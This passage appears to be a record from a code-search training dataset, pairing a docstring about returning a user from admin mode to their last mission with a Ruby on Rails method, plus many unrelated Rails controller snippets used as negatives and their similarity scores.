Filters'\n params.delete('filter')\n elsif params.has_key?(:filter)\n query = process_filter(query, params)\n @@csv_members = query\n end\n\n # Introducing class variable for filters so that filters remain consistent\n # throughout ajax calls.\n @@full_members = query\n @@csv_members ||= @@full_members\n\n @@members = @members = query.page(params[:page]).per(params[:per_page])\n\n # Take the pagination out of the csv export.\n @members = @@csv_members if params[:format] == 'csv'\n\n # Retrieve the webform fields\n @webform = {}\n @webform = Webform.where(:uuid => session[:webform_uuid]).first.data if session[:webform_uuid]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n format.js { @members }\n format.csv # index.csv.erb\n end\n end", "def hv_export_user_hours(oHarvest, oStartDate, oEndDate, iDbg =0)\n\n users = oHarvest.users.all\n repos = oHarvest.reports\n\n summary = Array.new()\n\n\tusers.each do |u|\n if (u.is_active == true && u.is_admin == false) \n \n printf(\"Processing User[%s] ...\\n\", u.first_name)\n\n total = 0\n timeentries = repos.time_by_user(u.id, oStartDate, oEndDate)\n timeentries.each do |t|\n total += t.hours \n end\n\n if (total > 0) \n p_summary = Array.new(2)\n p_summary[0] = u.first_name\n p_summary[1] = total\n summary.push(p_summary)\n end\n end\n end\n\n summary = summary.sort { |x, y|\n x[0] <=> y[0]\n }\n\n file = get_config(\"COMMON\",\t\"CSVPath\") + get_config(\"Harvest\",\t\"UserHourCsv\")\n flush_to_csv(summary, file)\n \t\nend", "def show \n available_users\n end", "def index\n @v1_users = V1::User.all\n end", "def index\n is_admin=current_user.roles[:user_roles][:administration]\n if is_admin==\"1\" || current_user.staff.unit_id\n @search = AddFuel.search_by_role(is_admin, current_user.staff_id).search(params[:q])\n @add_fuels = @search.result\n end\n respond_to do |format|\n if is_admin==\"1\" || current_user.staff.unit_id\n format.html\n format.csv { send_data @add_fuels.to_csv }\n format.xls { send_data @add_fuels.to_csv(col_sep: \"\\t\") }\n else\n format.html {redirect_to root_path, notice: (t 'add_fuels.title2')+(t 'users.staff_required')}\n end\n end\n end", "def export\n {\n ftype: type,\n role: role,\n name: name,\n sample_types: allowable_field_types.collect { |aft| aft.sample_type ? aft.sample_type.name : nil },\n object_types: allowable_field_types.collect { |aft| aft.object_type ? aft.object_type.name : nil },\n part: part ? true : false,\n array: array ? true : false,\n routing: routing,\n preferred_operation_type_id: preferred_operation_type_id,\n preferred_field_type_id: preferred_field_type_id,\n choices: choices\n }\n end", "def index\n @mailing_list = MailingList.find(params[:mailing_list_id]) \n \n @customers = Customer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n format.csv { \n csv_file = Customer.to_csv(current_user.id)\n send_data csv_file, :type => 'text/csv', :disposition => 'attachment;\nfilename=output.csv'\n\n \n\n }\n end\n end", "def users\n\n end", "def index\n index! {\n @users = current_company.users\n }\n end", "def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end", "def print_user_list\n puts \"Please write down the slected movies onto piece of paper.\"\n puts \"Ability so save list will be implemented in near future.\"\n puts \"Please stand by :) \\n\\n\"\n\n puts \"Here are your selected movies:\"\n for film in @user_list\n puts \" - #{film}\"\n end\n puts \"\"\n end" ]
[ "0.6759344", "0.61193556", "0.61078185", "0.6103604", "0.6096816", "0.6092567", "0.60069114", "0.5913457", "0.5908916", "0.5898633", "0.58735096", "0.57904845", "0.574313", "0.57165915", "0.56250036", "0.5602154", "0.5594625", "0.5554911", "0.55420506", "0.55395424", "0.553226", "0.5498957", "0.5482654", "0.54741544", "0.54685473", "0.54653674", "0.54554844", "0.5443553", "0.544169", "0.54414356", "0.54401326", "0.5404101", "0.5382707", "0.53806263", "0.5375262", "0.5359658", "0.53583133", "0.5356321", "0.53539103", "0.5351854", "0.5341006", "0.5335082", "0.5325238", "0.5325073", "0.5324716", "0.5315336", "0.5311809", "0.53084505", "0.530774", "0.5307507", "0.52798593", "0.5276586", "0.5273445", "0.52710366", "0.5266865", "0.5263675", "0.5260231", "0.525624", "0.5233197", "0.523187", "0.5231846", "0.52302235", "0.5230192", "0.52240354", "0.5206922", "0.52069145", "0.5202315", "0.52016354", "0.519378", "0.5186267", "0.51788515", "0.5175893", "0.51650405", "0.5164082", "0.5154128", "0.51471615", "0.5142424", "0.5135664", "0.51340663", "0.5124817", "0.5123475", "0.51184416", "0.51184416", "0.5116138", "0.51072985", "0.5103605", "0.5102524", "0.5101322", "0.5099987", "0.5098826", "0.5096622", "0.50875294", "0.50784904", "0.5073955", "0.50738025", "0.507174", "0.50664204", "0.506635", "0.5060401", "0.50586003" ]
0.82592916
0
sets the current user's current mission to the last one used, and redirects to home page for that mission
def exit_admin_mode if m = Mission.where(:id => session[:last_mission_id]).first current_user.change_mission!(m) end redirect_to(root_url(:admin_mode => nil)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def home\n logger.info \"Got in action home in account controller\"\n @force_refresh_on_login = true\n \t@user = get_user\n @level = @user.get_level\n if(@level)\n next_level = @level.get_next_level\n if(next_level)\n @points_required = next_level.points_required - @user.total_points\n end\n end\n\n @missions = get_user.missionStatuses.select{|s| s.activated?}.map{|m| m.mission}\n logger.info \"Current missions: \" + @missions.inspect\n\n mission_statuses = get_user.missionStatuses.find(:all, :conditions=>[\"status = ?\", MissionStatus::COMPLETED_STATUS])\n @pastMissions = mission_statuses.map { |ms| ms.mission }\n\n @upcoming_quests = get_user.missionStatuses.find(:all)\n @upcoming_quests = @upcoming_quests.select{|quest| (!quest.completed?) || quest.mission.repeatable?}\n @futureMissions = @upcoming_quests.map { |ms| ms.mission }\n\n \t#Update first name if any\n \tif(request.post? && params[:user])\n \t @user.update_attributes(params[:user])\n\t end\n end", "def set_mission_as_done\n mission = Mission.find(params[:id].to_i)\n entr_missions = mission.entr_mission_users\n\n # No users attached to the mission\n if entr_missions.empty?\n flash[:success] = \"<h2>La mission < #{mission.title} > <span style='color:red'>ne peut pas être terminée (aucun utilisateur)</span></h2>\".html_safe\n redirect_to :back\n return\n end\n \n # Set each user link as done\n entr_missions.each do |entr|\n # If the user was doing the mission\n if entr.state == EntrMissionUser::Status::CONFIRMED\n # Credit him\n entr.user.credit_user mission\n MissionMailer.delay.mission_finished(entr.user, mission)\n end\n entr.state = EntrMissionUser::Status::DONE\n entr.save\n end\n \n # Set mission state as finished\n mission.state = Mission::Status::FINISHED\n mission.save\n\n # End\n flash[:success] = \"<h2>La mission < #{mission.title} > a bien été terminée</h2>\".html_safe\n redirect_to :back\n end", "def home\n if current_user.workspaces.none?\n redirect_to no_workspace_path\n else\n if current_user.user_profile.current_workspace\n redirect_to current_user.user_profile.current_workspace\n else\n current_user.user_profile.update(current_workspace: current_user.workspaces.first)\n redirect_to current_user.user_profile.current_workspace\n end\n end\n end", "def welcome\n @first_mission = current_user.current_chapter.missions.first_mission\n end", "def index\n redirect_to disabled_path\n # unless logged_in?\n # redirect_to tour_path\n # else\n # @current_item = \"my_hsa\"\n # end\n end", "def home \n\n if @@form_step == nil \n redirect_to root_path and return \n end\n @@request.user_id = current_user.id \n @@form_step = @@form_step + 1 \n\n end", "def current\n redirect_to current_user\n end", "def home\n redirect_to user_path(current_user)\n end", "def new\n\n\n ### reset these just in case, but only do it if a new goal has not already been saved\n if !params[:submitted_new_goal]\n session[:goal_added_through_template_from_program_id] = nil\n session[:template_user_parent_goal_id] = nil\n session[:goal_template_text] = nil\n session[:category] = nil\n session[:accepting_invitation_id] = nil\n end\n\n\n\n ### If they are restricted to 1 active goal, redirect away\n restrict = false\n \n if current_user\n logger.info(\"sgj:fumfin:current_user.email = \" + current_user.email)\n #logger.info(\"sgj:fumfin:!current_user.is_habitforge_supporting_member.to_s = \" + !current_user.is_habitforge_supporting_member)\n if session[:site_name]\n logger.info(\"sgj:fumfin:session[:site_name] = \" + session[:site_name].to_s)\n end\n if session[:sponsor]\n logger.info(\"sgj:fumfin:session[:sponsor] = \" + session[:sponsor].to_s)\n end\n logger.info(\"sgj:fumfin:current_user.number_of_active_habits = \" + current_user.number_of_active_habits.to_s)\n end ### end if current_user\n\n\n #### We are now allowing unlimited habits\n # if (session[:site_name] == nil or session[:site_name] == \"\" or session[:sponsor] == \"\") or (session[:site_name] == \"habitforge\" or session[:sponsor] == \"habitforge\") and !current_user.is_habitforge_supporting_member\n # logger.info(\"sgj:fumfin:got in 1\")\n\n # if current_user.number_of_active_habits > 0\n # # restrict = true\n # end\n \n # end\n\n if restrict == true\n redirect_to(\"https://habitforge.com/widget/upgrade\")\n # if params[:goal_template_text]\n # redirect_to(\"/goals?too_many_active_habits=1&goal_template_text=#{params[:goal_template_text]}\")\n # else\n # redirect_to(\"/goals?too_many_active_habits=1\")\n # end\n else\n\n\n @goal = Goal.new\n\n\n @goal.tracker_set_checkpoint_to_yes_if_any_answer = false # the db default is true, but false is better\n @goal.tracker_set_checkpoint_to_yes_only_if_answer_acceptable = false # the db default is true, but false is safer for now\n\n @goal.reminder_time = DateTime.new(2009,1,1,0,0,0)\n\n @goal.category = \"Exercise\" ## a reasonable default\n\n @goal.reminder_send_hour = 7 #### 8am\n #@goal.reminder_send_hour = -1 #### no reminder when set to -1\n\n\n @goal.usersendhour = 20 ### 8pm\n\n @goal.daym = 1\n @goal.dayt = 1\n @goal.dayw = 1\n @goal.dayr = 1\n @goal.dayf = 1\n @goal.days = 1\n @goal.dayn = 1\n\n\n @goal.more_reminders_enabled = false\n @goal.more_reminders_start = 8\n @goal.more_reminders_end = 22\n @goal.more_reminders_every_n_hours = 4\n @goal.more_reminders_last_sent = 0\n\n\n @goal.publish = 1\n if current_user.premium_only_default_private_goal\n @goal.publish = 0\n end\n\n if params[:goal_template_text]\n session[:goal_template_text] = params[:goal_template_text]\n\n ### only restrict features initially\n ### and only redirect to sales page\n ### if they're not currently a premium member\n if !current_user.is_habitforge_supporting_member\n session[:sfm_virgin] = true\n if params[:existing_user]\n session[:existing_user] = true\n end\n end\n\n end\n\n if session[:goal_template_text]\n @goal.title = session[:goal_template_text]\n @goal.response_question = @goal.title\n end\n\n if params[:template_user_parent_goal_id]\n session[:template_user_parent_goal_id] = params[:template_user_parent_goal_id]\n end\n if session[:template_user_parent_goal_id]\n @goal.template_user_parent_goal_id = session[:template_user_parent_goal_id].to_i\n end\n\n if params[:goal_added_through_template_from_program_id]\n session[:goal_added_through_template_from_program_id] = params[:goal_added_through_template_from_program_id].to_i\n end\n if session[:goal_added_through_template_from_program_id]\n @goal.goal_added_through_template_from_program_id = session[:goal_added_through_template_from_program_id].to_i\n end\n\n\n\n if params[:category]\n session[:category] = params[:category]\n end\n if session[:category]\n @goal.category = session[:category]\n end\n\n if current_user.goal_temp != nil and current_user.goal_temp != \"\"\n @goal.response_question = current_user.goal_temp\n end\n\n\n #### if we are basing our goal on a template, then copy those values\n if session[:template_user_parent_goal_id]\n template_user_parent_goal = Goal.find(session[:template_user_parent_goal_id].to_i)\n if template_user_parent_goal\n @goal.template_user_parent_goal_id = template_user_parent_goal.id\n @goal.title = template_user_parent_goal.title\n @goal.response_question = template_user_parent_goal.response_question\n @goal.category = template_user_parent_goal.category\n @goal.reminder_time = template_user_parent_goal.reminder_time\n @goal.daym = template_user_parent_goal.daym\n @goal.dayt = template_user_parent_goal.dayt\n @goal.dayw = template_user_parent_goal.dayw\n @goal.dayr = template_user_parent_goal.dayr\n @goal.dayf = template_user_parent_goal.dayf\n @goal.days = template_user_parent_goal.days\n @goal.dayn = template_user_parent_goal.dayn\n @goal.goal_days_per_week = template_user_parent_goal.goal_days_per_week\n @goal.remind_me = template_user_parent_goal.remind_me\n @goal.reminder_send_hour = template_user_parent_goal.reminder_send_hour\n @goal.check_in_same_day = template_user_parent_goal.check_in_same_day\n @goal.usersendhour = template_user_parent_goal.usersendhour\n\n\n if template_user_parent_goal.tracker != nil\n @goal.tracker = template_user_parent_goal.tracker\n end\n if template_user_parent_goal.tracker_question != nil\n @goal.tracker_question = template_user_parent_goal.tracker_question\n end\n if template_user_parent_goal.tracker_statement != nil\n @goal.tracker_statement = template_user_parent_goal.tracker_statement\n end\n if template_user_parent_goal.tracker_units != nil\n @goal.tracker_units = template_user_parent_goal.tracker_units\n end\n if template_user_parent_goal.tracker_digits_after_decimal != nil\n @goal.tracker_digits_after_decimal = template_user_parent_goal.tracker_digits_after_decimal\n end\n if template_user_parent_goal.tracker_standard_deviation_from_last_measurement != nil\n @goal.tracker_standard_deviation_from_last_measurement = template_user_parent_goal.tracker_standard_deviation_from_last_measurement\n end\n if template_user_parent_goal.tracker_type_starts_at_zero_daily != nil\n @goal.tracker_type_starts_at_zero_daily = template_user_parent_goal.tracker_type_starts_at_zero_daily\n end\n if template_user_parent_goal.tracker_target_higher_value_is_better != nil\n @goal.tracker_target_higher_value_is_better = template_user_parent_goal.tracker_target_higher_value_is_better\n end\n if template_user_parent_goal.tracker_set_checkpoint_to_yes_if_any_answer != nil\n @goal.tracker_set_checkpoint_to_yes_if_any_answer = template_user_parent_goal.tracker_set_checkpoint_to_yes_if_any_answer\n end\n if template_user_parent_goal.tracker_set_checkpoint_to_yes_only_if_answer_acceptable != nil\n @goal.tracker_set_checkpoint_to_yes_only_if_answer_acceptable = template_user_parent_goal.tracker_set_checkpoint_to_yes_only_if_answer_acceptable\n end\n if template_user_parent_goal.tracker_target_threshold_bad1 != nil\n @goal.tracker_target_threshold_bad1 = template_user_parent_goal.tracker_target_threshold_bad1\n end\n if template_user_parent_goal.tracker_target_threshold_bad2 != nil\n @goal.tracker_target_threshold_bad2 = template_user_parent_goal.tracker_target_threshold_bad2\n end\n if template_user_parent_goal.tracker_target_threshold_bad3 != nil\n @goal.tracker_target_threshold_bad3 = template_user_parent_goal.tracker_target_threshold_bad3\n end\n if template_user_parent_goal.tracker_target_threshold_good1 != nil\n @goal.tracker_target_threshold_good1 = template_user_parent_goal.tracker_target_threshold_good1\n end\n if template_user_parent_goal.tracker_target_threshold_good2 != nil\n @goal.tracker_target_threshold_good2 = template_user_parent_goal.tracker_target_threshold_good2\n end\n if template_user_parent_goal.tracker_target_threshold_good3 != nil\n @goal.tracker_target_threshold_good3 = template_user_parent_goal.tracker_target_threshold_good3\n end\n if template_user_parent_goal.tracker_measurement_worst_yet != nil\n @goal.tracker_measurement_worst_yet = template_user_parent_goal.tracker_measurement_worst_yet\n end\n if template_user_parent_goal.tracker_measurement_best_yet != nil\n @goal.tracker_measurement_best_yet = template_user_parent_goal.tracker_measurement_best_yet\n end\n if template_user_parent_goal.tracker_measurement_last_taken_on_date != nil\n @goal.tracker_measurement_last_taken_on_date = template_user_parent_goal.tracker_measurement_last_taken_on_date\n end\n if template_user_parent_goal.tracker_measurement_last_taken_on_hour != nil\n @goal.tracker_measurement_last_taken_on_hour = template_user_parent_goal.tracker_measurement_last_taken_on_hour\n end\n if template_user_parent_goal.tracker_measurement_last_taken_value != nil\n @goal.tracker_measurement_last_taken_value = template_user_parent_goal.tracker_measurement_last_taken_value\n end\n if template_user_parent_goal.tracker_measurement_last_taken_timestamp != nil\n @goal.tracker_measurement_last_taken_timestamp = template_user_parent_goal.tracker_measurement_last_taken_timestamp\n end\n if template_user_parent_goal.tracker_prompt_after_n_days_without_entry != nil\n @goal.tracker_prompt_after_n_days_without_entry = template_user_parent_goal.tracker_prompt_after_n_days_without_entry\n end\n if template_user_parent_goal.tracker_prompt_for_an_initial_value != nil\n @goal.tracker_prompt_for_an_initial_value = template_user_parent_goal.tracker_prompt_for_an_initial_value\n end\n if template_user_parent_goal.tracker_track_difference_between_initial_and_latest != nil\n @goal.tracker_track_difference_between_initial_and_latest = template_user_parent_goal.tracker_track_difference_between_initial_and_latest\n end\n if template_user_parent_goal.tracker_difference_between_initial_and_latest != nil\n @goal.tracker_difference_between_initial_and_latest = template_user_parent_goal.tracker_difference_between_initial_and_latest\n end\n\n\n\n if session[:goal_added_through_template_from_program_id]\n goal_added_through_template_from_program = Program.find(session[:goal_added_through_template_from_program_id].to_i)\n if goal_added_through_template_from_program\n @goal.goal_added_through_template_from_program_id = goal_added_through_template_from_program.id\n end\n end\n\n\n ### do not save here, because if you do, all of the stuff in \"def create\" won't get applied\n #@goal.save\n end\n end\n\n\n\n ####################################################\n ####################################################\n ###### IF WE ARE RESPONDING TO AN INVITATION\n if params[:invitation_id]\n @invite = Invite.find(params[:invitation_id].to_i)\n if @invite\n @invite_from_user = User.find(@invite.from_user_id)\n end\n if @invite and @invite.purpose_join_team_id and @invite_from_user\n @team = Team.find(@invite.purpose_join_team_id)\n\n ### what kind of team?\n if @team.goal_template_parent_id\n ### template based team\n if @goal.template_user_parent_goal_id and (@goal.template_user_parent_goal_id == @team.goal_template_parent_id)\n @invite_team_type_goal = true\n end\n else\n ### category-based team\n if @team.category_name\n @invite_team_type_category = true\n @goal.category = @team.category_name\n end\n end\n end\n end\n ###### END IF WE ARE RESPONDING TO AN INVITATION\n ####################################################\n ####################################################\n\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goal }\n end\n end\n end", "def set_mission\r\n @mission = Mission.friendly.find(params[:id])\r\n end", "def landing_page\n if current_user\n redirect_to actions_path(current_user[:id])\n end\n end", "def show\n update_navbar(@user)\n # 是访客而非页面的主人\n if session[:user_id] != params[:id].to_i\n @user.is_visitor = true\n else\n @user.is_visitor = false\n # 个人主页三大功能之一:创建新的任务\n @mission = Mission.new\n @mission.user_id = session[:user_id]\n @mission.user_token= session[:user_id]\n end\n\n render\n end", "def home\r\n\r\n redirect_to(@current_user.home_page)\r\n end", "def defer_user\n\t\tif(current_user)\n\t\t\tredirect_to(user_path(current_user))\n\t\tend\n\tend", "def set_mission\n @mission = Mission.find(params[:id])\n end", "def set_mission\n @mission = Mission.find(params[:id])\n end", "def set_mission\n @mission = Mission.find(params[:id])\n end", "def set_mission\n @mission = Mission.find(params[:id])\n end", "def main\n # noinspection RubyMismatchedArgumentType\n if current_user\n redirect_to dashboard_path\n else\n redirect_to welcome_path\n end\n end", "def set_user\n @user = User.find params[:user][:subordinate_id]\n session[:position_id] = @user.position_id\n session[:level_id] = @user.level.id\n\n assessment = @user.assessments.where(closed: false).last\n if assessment.nil?\n\n redirect_to :back, notice: \"У сотрудника #{@user.full_name} нет открытого процесса\"\n else\n redirect_to action: 'final_form', user_id: @user.id, assessment_id: assessment.id\n end\n\n end", "def set_mission\n @mission = Mission.find(params[:mission_id])\n end", "def set_target\n @user = current_user\n render \"target\"\n end", "def set_mission\n @mission = Mission.find(params[:id])\n end", "def home\n redirect_to signin_path() and return if ( @current_user.nil? )\n end", "def main\n if current_user\n redirect_to '/groups' #groups_path\n end\n end", "def correct_user\n @jogtime = Jogtime.find(params[:id])\n redirect_to(root_url) unless (current_user.id == @jogtime.user_id) || current_user.admin?\n end", "def index\r\n # State machine stuff\r\n current_user.came_home\r\n eval current_user.redirect, binding()\r\n return\r\n end", "def landing\n redirect_to dashboard_path if current_user\n end", "def home\n if current_user\n redirect_to '/dashboard'\n else\n render 'home'\n end\n end", "def index\n\n if params[:user_id] && User.find(params[:user_id]) == current_user\n @tasks = @user.tasks\n elsif\n redirect_to missions_path\n flash[:notice] = \"Can't Do that\"\n else\n @tasks = Tasks.all\n end\n end", "def set_current_user\n @current_user ||= Instructor.find_by_id(session[:user_id])\n authorize! :read, Problem\n redirect_to login_path and return unless @current_user\n end", "def home\n if !current_user\n redirect_to :new_user_session\n else\n redirect_to '/post/new'\n end\n end", "def switch\n authorize!(:manage, :all)\n user = User.find_by(login: params[:login].upcase)\n if user\n session[:original_user_id] = session[:user_id]\n session[:user_id] = user.id\n redirect_to root_url, notice: \"Sie sind nun der Nutzer mit dem Login #{user.login}.\"\n else\n redirect_to root_url, notice: \"Der Nutzer existiert nicht im System.\"\n end\n end", "def user_edits\n redirect_to home_path if current_user != User.find(params[:id])\n end", "def edit_before_tournament_starts\n team = Team.find(params[:id])\n redirect_to root_path unless \n (team.users_ids.include?(current_user.id) && \n (team.tournament.status == GlobalConstants::TOURNAMENT_STATUS[:future]))\n end", "def welcome\n @current_user = current_user\n end", "def home\n if user_signed_in?\n current_user.update_attribute(:login_status, true) if current_user # update login status for logged in user\n if !current_user.is_super_admin? && current_user.sign_in_count == 1 && current_user.created_by != 0 #User records which are created by super admin or dept admin has to change the password while they are logged in first time\n redirect_to :controller => \"registrations\", :action => \"privacy_setting\"\n else\n redirect_to :controller => \"dashboard\", :action => \"index\"\n end\n else\n redirect_to new_user_session_path\n end\n end", "def redirect_to_index\n redirect_to :action => 'index' unless current_user\n @user = current_user\n end", "def home\n # if user_signed_in?\n # redirect_to studios_path=end\n # end\n end", "def index\n u = User.find(session[:user_id])\n pid = u.project_id\n if pid.nil?\n redirect_to :controller =>'dashboard', :action=> 'setup'\n else\n session[:project_id] = pid\n redirect_to project_index_url\n end\n \n end", "def set_current_user\n\t\t@current_user ||= Moviegoer.find_by_id(session[:user_id])\n\t\tredirect_to login_path and return unless @current_user #if @current_user is nil, redirect\n\tend", "def active_user\n redirect_to(root_url) unless current_user.active?\n end", "def index\n redirect_to @current_user if current_user\n end", "def welcome( user )\n session[:user] = user\n session[:last_login] = Time.now.strftime(\"%m-%d-%Y %H:%M:%S\") \n redirect \"/\"\n end", "def set_user\n @user = session[:current_user]\n unless @user\n redirect_to home_path\n end\n end", "def masquerade\n @user = User.find(params[:id])\n if @user\n switch_user(@user)\n redirect_to root_url\n else\n redirect_to :action => :list\n end\n end", "def set_current_user\n # we exploit the fact that the below query may return nil\n @current_user ||= Moviegoer.find_by(id: session[:user_id])\n redirect_to '/' and return unless @current_user\n end", "def users_jobs\n if current_user && @user.id == current_user.id\n render 'users_jobs'\n else\n redirect_to root_path \n end\n end", "def make_current\n @activity_sequence = ActivitySequence.find(params[:id])\n @activity = Activity.find(params[:activity_id])\n @activity.activity_sequence.set_current(@activity)\n redirect_to myp_path(@activity)\n end", "def set_mission\n self.mission = form.try(:mission)\n end", "def index\n redirect_to Semester.current\n end", "def solo_perfilados\n redirect_to root_path if current_user.perfilado !=true\n end", "def change_goals\n User.find_by(id: session[:user_id])\n @client = current_user.fitbit\n\t@client.create_or_update_daily_goal(@opts)\n\trender 'goals'\n end", "def home\n if user?\n @fullname = current_user.full_name\n else\n @fullname = \"Not logged in...\"\n end \n end", "def current\n Job.generate_work_order\n redirect_to '/'\n end", "def redirect_user_to_dashboard\n redirect_to dashboard_path if current_contact\n end", "def home_check\n if logged_in? && @current_user.admin?\n puts @current_user\n redirect_to account_url(@current_user.id)\n return\n elsif logged_in?\n redirect_to cases_path\n else\n redirect_to page_path(\"home\")\n return\n end\n end", "def new\n redirect_to games_url if user_session.logged_in?\n end", "def patient_user\n redirect_to(patient_page_url) if current_user.patient?\n end", "def current_moving!\n @moving = Moving.find_by(id: current_moving) if try(:current_moving)\n redirect_to root_url if @moving.nil?\n end", "def switch_to\n task = current_user.tasks.find(params[:id]).switch_to\n\n respond_to do |format|\n if task.save\n format.html { redirect_to(tasks_url, :notice => 'Task was successfully switched back to again.') }\n format.xml { render :xml => task, :status => :created, :location => task }\n else\n format.html { redirect_to(tasks_url, :notice => 'Error! Please try again...') }\n format.xml { render :xml => task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def mission(page)\n\tend", "def redirect_to_welcome_path(user)\n # FIXME: Hack for now. When spam problem is fixed, we want to wait for email activiation/confirmation\n if user.salesforce_campaign_id\n please_wait_path(new_user_id: user.id)\n else\n welcome_path(new_user_id: user.id)\n end\n end", "def set_current_user\n @current_user = Instructor.find_by_id(session[:user_id])\n redirect_to login_path and return unless @current_user\n #authorize! :read, Problem\n end", "def redirect_back_or_welcome\n \n if session[:return_to]\n redirect_to(session[:return_to])\n session[:return_to] = nil\n else\n render :template => 'uniform/users/welcome'\n end\n end", "def active_user\n redirect_to(root_path) unless (current_user != nil && current_user.active == true)\n end", "def send_unstarted_claiments_to_the_start\n redirect_to root_url unless current_policy_routing_name\n end", "def first_time_user\n redirect_to_setup_path if current_user.first_time_user?\n end", "def set_current_list_id!\n redirect_to user_lists_path(current_user), :alert => \"Current list not set\" unless current_list_id_set?\n end", "def active_user_or_manager_user\n if current_user && !current_user.manager? && !current_user.active?\n redirect_to(jobs_url)\n end\n end", "def patient_user\n redirect_to(patient_page_url) if current_user.patient?\n end", "def list\n redirect_to controller: :content_pages, action: :view if current_user.nil?\n redirect_to controller: :student_task, action: :list if current_user.try(:student?)\n end", "def navigating_page!\n if current_user.admin?\n redirect_to admin_root_path\n else\n redirect_to current_user.student\n end\n end", "def correct_user\n @user ||= (@character ? @character.user : @clutch.user)\n redirect_to user_path(current_user), alert: \"That does not belong to you!\" unless is_current_user?(@user) || is_admin?\n end", "def set_job\n begin\n @job = current_user.works.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to mentor_jobs_path, notice: '접근 권한이 없습니다.'\n rescue NoMethodError\n redirect_to root_path, notice: '멘토 등록은 063-650-1757로 연락 주세요^^'\n end\n end", "def finished_tictac\n @task = current_user.tasks.build(task_params)\n if @task.save\n @tictac = Tictac.find(params[:tictac_id])\n @tictac.update(task: @task)\n redirect_to list_tictacs_path\n else\n render finished_tictac_path(@tictac)\n end\n end", "def maintenance\n if current_user.present?\n redirect_to root_path\n else\n render layout: 'basic'\n end\n end", "def maintenance\n if current_user.present?\n redirect_to root_path\n else\n render layout: 'basic'\n end\n end", "def redirect_to_user_page\n if teacher_signed_in?\n redirect_to :controller => 'search'\n elsif volunteer_signed_in?\n redirect_to :controller => 'conversations'\n end\n end", "def set_game\n @game = Game.find(params[:id])\n if current_user.nil?\n if @game != current_game_owner.game\n redirect_to root_path, alert: 'No tiene permiso para acceder a este juego'\n end\n end\n end", "def redirect_to_onboarding_start(type = nil)\n session[:onboarding_step] = 1\n redirect_to :action => :current_step\n end", "def root\n if current_user.club?\n redirect_to clubs_my_club_path\n else\n redirect_to club_matches_swipe_path\n end\n end", "def go_to_current_onboarding_step\n if current_user.current_onboarding_step.present?\n if current_user.current_onboarding_step[:action].present? &&\n current_user.current_onboarding_step[:controller].present?\n\n redirect_to action: current_user.current_onboarding_step[:action],\n controller: current_user\n .current_onboarding_step[:controller]\n else\n redirect_to expert_onboarding_path\n end\n else\n redirect_to expert_onboarding_path\n end\n end", "def orchestrate_dashboard_journey\n\n create_organisation_if_none_exists(current_user)\n\n redirect_based_on_organisation_completeness(current_user.organisations.first)\n\n end", "def redirect_to_current_account\n redirect_to account_url(username: current_account.username) and return unless current_account.username.blank?\n redirect_to new_username_url\n end", "def new\n @user = current_user\n session[:step] = 0\n end", "def after_anyway\n redirect redirection if redirection\n end", "def ensure_current_kase_url\n if (@tier && !@tier.friendly_id_status.best?) || (@topic && !@topic.friendly_id_status.best?) || \n (@kase && !@kase.friendly_id_status.best?)\n redirect_to member_url([@tier, @topic, @kase]), :status => :moved_permanently\n end\n end", "def correct_user\n redirect_to(root_url) unless @user == current_user\n end", "def home\n # TBD: replace sitemap with my messages, once we are there\n logger.debug(\"PeopleController.home: current_person: #{current_person.inspect}\")\n store_location # so if we click on something we'll come back here: it is home, after all!\n @person = current_person\n @talks = Talk.talks_by_person(@person)\n @title = @person.name.titlecase\n end", "def available_to(who)\n case who\n when 'logged_in' then redirect_to root_path if !current_user\n when 'logged_out' then redirect_to home_path if current_user\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please enter your worker ID to continue.\"\n redirect_to start_url\n end\n end", "def index\n session[:current_room] = nil\n session[:current_user_id] = nil\n puts session[:current_user_id]\n if params[:user]\n @room = Room.find_by(rando: params[:room])\n @user = User.find_by(username: params[:user])\n begin\n @permissions = Permission.where( {user_id: @user.id, room_id: @room.id} )\n if @permissions.count > 0 then\n puts 'yes'\n session[:current_user_id] = @user.username\n session[:current_room] = @room.rando\n redirect_to @room\n end\n rescue\n if @room.nil? then\n puts 'invalid room'\n end\n end\n \n end\n end", "def load_current_account!\n super\n if(params[:job_id])\n @preload_job = Job.where(:message_id => params[:job_id]).last\n if(@preload_job && @preload_job.account_id && @preload_job.account_id != @account.id)\n redirect_to(\n :controller => controller_name,\n :action => action_name,\n :params => params.merge(:account_id => @preload_job.account_id)\n )\n end\n end\n end", "def index\n if session[:user_id] != nil \n redirect_to '/home'\n end\n end", "def index\n if session[:user_id] != nil \n redirect_to '/home'\n end\n end", "def return_to_current_user\n\t\tparams[:id] = params[:id].eql?(current_user.id) ? params[:id] : current_user.id\n\tend", "def redirect_to_user_home\n redirect_to :controller=>'virtual_machines', :action=>'index'\n end", "def set_goal\n @goal = Goal.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to root_url, :flash => { :error => \"Sorry, that goal could not be found. It may have been moved following a recent import.\" }\n end", "def goto_list_of_cmds\n session[:curriculum] = @curriculum.get_info_for_session\n redirect_to :action => :list_cmds\n end" ]
